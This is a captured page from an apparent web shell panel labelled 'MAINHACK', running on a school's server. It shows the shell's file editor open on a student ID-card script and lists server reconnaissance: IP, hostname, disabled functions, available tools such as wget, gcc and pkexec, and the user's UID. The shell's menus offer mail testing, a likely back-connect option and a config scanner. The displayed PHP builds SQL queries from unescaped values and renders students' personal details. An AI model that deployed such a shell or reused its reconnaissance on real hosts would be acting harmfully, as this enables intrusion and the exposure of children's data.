[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: load_students.php
<?php include("functions.php"); $s_code = $_SESSION['s_code_Xw2119904']; $offset = isset($_GET['offset']) ? intval($_GET['offset']) : 1; $limit = isset($_GET['limit']) ? intval($_GET['limit']) : 1000; $search = isset($_GET['search']) ? trim($_GET['search']) : ""; // Get logo & school name $getscholname = mysqli_query($new, "SELECT school_name, logo FROM schools WHERE school_code = '$s_code'"); $name = mysqli_fetch_array($getscholname); $thisname = $name['school_name']; $logo = $name['logo']; // Optional search filter $searchClause = ""; if ($search !== "") { $safeSearch = mysqli_real_escape_string($new, $search); $searchClause = "AND ( student_name LIKE '%$safeSearch%' OR unique_student_code LIKE '%$safeSearch%' OR classname LIKE '%$safeSearch%' OR housename LIKE '%$safeSearch%' )"; } // Main query $query = " SELECT * FROM enrol_details WHERE s_code = '$s_code' AND raw_score != '' $searchClause ORDER BY student_name ASC LIMIT $offset, $limit "; $result = $new->query($query); // Render each card if ($result && $result->num_rows > 0) { while ($row = $result->fetch_assoc()) { $card_id = 'card_' . htmlspecialchars($row['unique_student_code']); $photo = !empty($row['photo']) ? $row['photo'] : 'https://via.placeholder.com/80'; $classid = $row['class_id']; // Fetch class name $getclassname = mysqli_query($new, "SELECT program_id FROM class WHERE cid = '$classid' and s_code = '$s_code'"); $namee = mysqli_fetch_assoc($getclassname); $program_id = $namee['program_id']; // Fetch programme name $getprograme = mysqli_query($new, "SELECT program_name FROM programme WHERE progid = '$program_id' AND s_code = '$s_code'"); $thisprogram = mysqli_fetch_assoc($getprograme); $myprograme = $thisprogram['program_name'] ?? ''; ?> <div class="card" id="<?= $card_id ?>"> <div class="card-header"> <div class="logo-container"> <img src="<?= htmlspecialchars($logo) ?>" alt="academy logo" crossOrigin="anonymous"> </div> <div class="card-header-text"> <div class="academy"><?= htmlspecialchars($thisname) ?></div> </div> </div> <div class="card-body"> <div class="card-left"> <div class="name"><?= htmlspecialchars($row['student_name']) ?></div> <div class="id">Student ID: <?= htmlspecialchars($row['unique_student_code']) ?></div> <div class="details"> Mother: <?= htmlspecialchars($row['father_name']) ?><br> Father: <?= htmlspecialchars($row['mother_name']) ?><br> Programme: <?php echo $myprograme; ?><br> Class: <?= htmlspecialchars($row['classname']) ?><br> House: <?= htmlspecialchars($row['housename']) ?><br> </div> </div> <div class="card-right"> <img src="<?= htmlspecialchars($photo) ?>" alt="student" crossOrigin="anonymous"> </div> </div> <br /> <div class="card-footer"></div> <button class="download-btn" data-card="<?= $card_id ?>" data-name="<?= htmlspecialchars($row['student_name']) ?>">⬇ Download</button> </div> <?php } } else { // no results — the front-end will show the "No Results" message } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002